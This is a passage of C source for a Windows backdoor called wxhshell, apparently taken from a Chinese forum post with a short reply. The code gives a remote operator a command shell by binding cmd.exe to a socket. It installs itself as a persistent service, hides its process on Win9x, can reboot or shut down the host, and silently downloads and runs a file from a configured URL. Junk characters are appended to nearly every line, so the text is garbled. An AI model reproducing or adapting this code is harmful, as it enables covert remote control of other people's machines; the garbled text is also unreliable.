4U=75!>  
    switch(cmd[0]) { Z<U>A   
  F30 ]  
  // 帮助  W^Y#pn  
  case '?': { mk!Dozb/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lT'9u,6   
    break; |Y},V_@d  
  } 5{K}?*3hJ  
  // 安装 *FK`&(B+}  
  case 'i': { 0w %[  
    if(Install()) ib$nc2BPb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DVlJ*A  
    else &fwS{n;U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); glE^t6)  
    break; -Fxmsi  
    } =bLY /  
  // 卸载 `S3>3  
  case 'r': {  z [C3  
    if(Uninstall()) (u hd "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ql%qQ ZV  
    else n_Onr0EvO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c0_E_~  
    break; `]=oo%(h  
    } vi!YN|}\  
  // 显示 wxhshell 所在路径 G_ >G'2  
  case 'p': { c)}2K0  
    char svExeFile[MAX_PATH]; #aar9  
    strcpy(svExeFile,"\n\r"); AVl~{k|  
      strcat(svExeFile,ExeFile); Wh( |+rJ?Z  
        send(wsh,svExeFile,strlen(svExeFile),0); x[Im%k  
    break; 9MY7a=5E~  
    } \K iwUz  
  // 重启 "Pz}@=  
  case 'b': { "5Uh< X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8z2Rry w  
    if(Boot(REBOOT)) CSTI?A"P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5Z#xszj+  
    else { !TKkec8$  
    closesocket(wsh); p`F9Amb  
    ExitThread(0); *|% ^0#$c  
    } B=Ym x2A9]  
    break; . ]@=es  
    } 2HD]?:Fk7  
  // 关机 WG7k(Sp ]  
  case 'd': { pI.+"Hz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;sPoUn s'  
    if(Boot(SHUTDOWN))  k5`OH8G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j(rL  
    else { '?QuJFki  
    closesocket(wsh); @+LfQY  
    ExitThread(0); EH*o"N`!r  
    } .8WXC   
    break; ({^9<Us  
    } e>}}:Ud  
  // 获取shell \ HZ9S=  
  case 's': { "TcW4U9  
    CmdShell(wsh); Ge+0-I6Ju  
    closesocket(wsh); )$ Mmn  
    ExitThread(0); 4|?{VQ  
    break; Oakb'  
  } $wB^R(f@  
  // 退出 bFS>)  
  case 'x': { Bux [6O %  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hr<o!e{Y  
    CloseIt(wsh); px;/8c-  
    break; U]|agz>  
    } E.`U`L  
  // 离开 qZv =  
  case 'q': { 9BEFr/.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '8Ztj  
    closesocket(wsh); (ll*OVL  
    WSACleanup(); iRV~Il#~!  
    exit(1); FR[ B v  
    break; uX/$CM  
        } ;%C'FV e]  
  } v``-F(i$  
  } )E#2J$TD  
=sJ _yq0#R  
  // 提示信息 [, RI-#n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LhXUm  
} WLa!.v>  
  } %+>s#Q2d  
%xZG*2vc!B  
  return; }@1q@xU  
} I){\0vb@  
A - YBQPE  
// shell模块句柄 JA)?p{j  
int CmdShell(SOCKET sock) tR0pH8?e"  
{ z4#(Ze@u~_  
STARTUPINFO si; !" #9<~Q,p  
ZeroMemory(&si,sizeof(si)); <h).fX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PNOGN|D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "\W-f  
PROCESS_INFORMATION ProcessInfo; =J-5.0Q\_\  
char cmdline[]="cmd"; kum#^^4G|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^N}Wnk7ks'  
  return 0; b-U eIjX  
} 7?8wyk|x  
aNn"X y\ k  
// 自身启动模式 /M;#_+VK<  
int StartFromService(void) aI(7nJ=R  
{ NcOPL\  
typedef struct o%{'UG  
{ )n49lr6 X  
  DWORD ExitStatus; 1OLqL  
  DWORD PebBaseAddress; ?bZovRx  
  DWORD AffinityMask; \!vN   
  DWORD BasePriority; gWABY%!}  
  ULONG UniqueProcessId; v~3B:k:?l  
  ULONG InheritedFromUniqueProcessId; \<Sv3xy&O  
}   PROCESS_BASIC_INFORMATION; YJg,B\z}  
znJhP}(  
PROCNTQSIP NtQueryInformationProcess; XqRJr%JH  
G+xt5n.%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D4eTTfQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t^]$!H  
fkSO( C)  
  HANDLE             hProcess; 7cAXd#sI  
  PROCESS_BASIC_INFORMATION pbi; E:zF/$tG  
;*ix~taL%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '7wd$rl  
  if(NULL == hInst ) return 0; ih,%i4<}6m  
)VL96did  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !Fo*e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uoya3#4 G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [ EFMu;q  
MV_Srz  
  if (!NtQueryInformationProcess) return 0; 0]QRsVz+  
ETp%s{8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y@2epY?{  
  if(!hProcess) return 0; H>9CW<8  
^ -FX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yR{x}DbG  
b" xmqWa  
  CloseHandle(hProcess); CT0l!J~5m~  
C%*k.$#r!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J PyOG _h  
if(hProcess==NULL) return 0; 1O].v&{  
kGpa\c g1  
HMODULE hMod; -jgysBw+Xb  
char procName[255]; o"wXIHUmV  
unsigned long cbNeeded; M/x>51<  
^7;JC7qmN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P%)gO  
5@*'2rO&!  
  CloseHandle(hProcess); }:0uo5 B7  
(feTk72XX  
if(strstr(procName,"services")) return 1; // 以服务启动 '$4O!YI9@  
-a*K$rnB  
  return 0; // 注册表启动 [I4ege>  
} Kvsh  
hcVJBK  
// 主模块 KH\b_>wU2  
int StartWxhshell(LPSTR lpCmdLine) &//wSlL3  
{ E_KCNn-f  
  SOCKET wsl; UAR5^  
BOOL val=TRUE; ycFio ,  
  int port=0; GgaTn!mJt  
  struct sockaddr_in door; Dnc(l(  
1n%?@+W  
  if(wscfg.ws_autoins) Install(); zF5uN:-s  
Oj<S.fi  
port=atoi(lpCmdLine); ["\;kJ.  
+,~z Wv1v  
if(port<=0) port=wscfg.ws_port; ARcv;H 5  
n wI!O  
  WSADATA data; ~|wbP6</:-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?"?6,;F(4  
Z3[S]jC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y#!h9F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "[}O"LTQ  
  door.sin_family = AF_INET; V\(:@0"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @EE."T9  
  door.sin_port = htons(port); -hC,e/+  
r`c_e)STO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >0p$(>N]  
closesocket(wsl); }j,[ 1@S  
return 1; L[5=h  
} d #jK=:eK  
Z|RY2P>E  
  if(listen(wsl,2) == INVALID_SOCKET) { Xf)|Pu  
closesocket(wsl); 099sN"kf  
return 1; -,K!  
} q80S[au  
  Wxhshell(wsl); ]*7Y~dO  
  WSACleanup(); EUsI%p  
oK{ V7  
return 0; UT}i0I9  
oD}uOC}FS{  
} E( us'9c   
EGl^!.'  
// 以NT服务方式启动 "UwH\T4I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) czlFr|O;  
{ ,lCgQ0}<  
DWORD   status = 0; xkOpa,=FI  
  DWORD   specificError = 0xfffffff; y4+ ;z2' >  
T{wuj[ Q#:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +a^F\8H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h*ZC*eV>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p&VU0[LIC0  
  serviceStatus.dwWin32ExitCode     = 0; \QU^>2 3  
  serviceStatus.dwServiceSpecificExitCode = 0; Xl74@wq   
  serviceStatus.dwCheckPoint       = 0; (knp#   
  serviceStatus.dwWaitHint       = 0; 9'hv%A:\3  
};'\~g,1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nC{%quwh{  
  if (hServiceStatusHandle==0) return; Zw wqSyuGf  
^&g=u5 d0  
status = GetLastError(); wcDRH)AW.  
  if (status!=NO_ERROR) !bV5Sr^  
{ ]({~,8s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 43V}# DA@  
    serviceStatus.dwCheckPoint       = 0; VY)s+Bx  
    serviceStatus.dwWaitHint       = 0; q\\gpCgp  
    serviceStatus.dwWin32ExitCode     = status; vFEQ7 qI  
    serviceStatus.dwServiceSpecificExitCode = specificError; /  g 2b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V ]90  
    return; OzC\9YeA  
  } \=>H6x]q  
3]?#he  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %Qk/_ R1   
  serviceStatus.dwCheckPoint       = 0; LkQX?2>]  
  serviceStatus.dwWaitHint       = 0; O9:U8$*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ali9pvE  
} y!]CJigpZ  
ExRe:^yU\  
// 处理NT服务事件,比如:启动、停止 ?k(\ApVHj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ws^4?O  
{ sUE?v9  
switch(fdwControl) &>H!}"Yk  
{ !Ra*)b "  
case SERVICE_CONTROL_STOP: =~p>`nV  
  serviceStatus.dwWin32ExitCode = 0; -\#0]F:-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r_;9' #&'  
  serviceStatus.dwCheckPoint   = 0; }<'5 z qS  
  serviceStatus.dwWaitHint     = 0; F5o+kz$;  
  { TwgrRtj'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :_QCfH  
  } ^wS5>lf7p  
  return; Is+O  
case SERVICE_CONTROL_PAUSE: N!`e}Z6S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z3uW)GQ.  
  break; yv)ux:P&+  
case SERVICE_CONTROL_CONTINUE: sN5B7)Vc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CW<N: F.9  
  break; wb~@7,D  
case SERVICE_CONTROL_INTERROGATE: J:skJ.Wx  
  break; I[n ^{8gz  
}; 8mQmi`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S]E.KLR?[;  
} Afk$?wkL  
r;m)nRu  
// 标准应用程序主函数 f|sFlUu&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S6[v;{xJ  
{ V%Sy"IG  
VU@9@%TN  
// 获取操作系统版本 |<O9Sb_  
OsIsNt=GetOsVer(); t:fFU1x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q?X>E3=U  
@$T 9Ll  
  // 从命令行安装 *&f$K1p  
  if(strpbrk(lpCmdLine,"iI")) Install(); `Qqk<o  
_2N$LLbg  
  // 下载执行文件 D1 &A,2wO  
if(wscfg.ws_downexe) { <\;#jF%V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o;?/HE%,[  
  WinExec(wscfg.ws_filenam,SW_HIDE); 85GKymz$P  
} MQ"xOcD*F  
+5XpzZ{#Wa  
if(!OsIsNt) { /B}lO0]:  
// 如果时win9x,隐藏进程并且设置为注册表启动 q/n,,!  
HideProc(); Z> r^SWL  
StartWxhshell(lpCmdLine); 5# K4bA  
} %AQIGBcgL  
else $1v&azM.  
  if(StartFromService()) J(6oL   
  // 以服务方式启动 i'\T R|qd  
  StartServiceCtrlDispatcher(DispatchTable); P@FHnh3}Z$  
else ;amXY@RmH  
  // 普通方式启动 QV\eMuNy  
  StartWxhshell(lpCmdLine); $LU"?aAW  
ooQQ-?"m  
return 0; %plo=RF  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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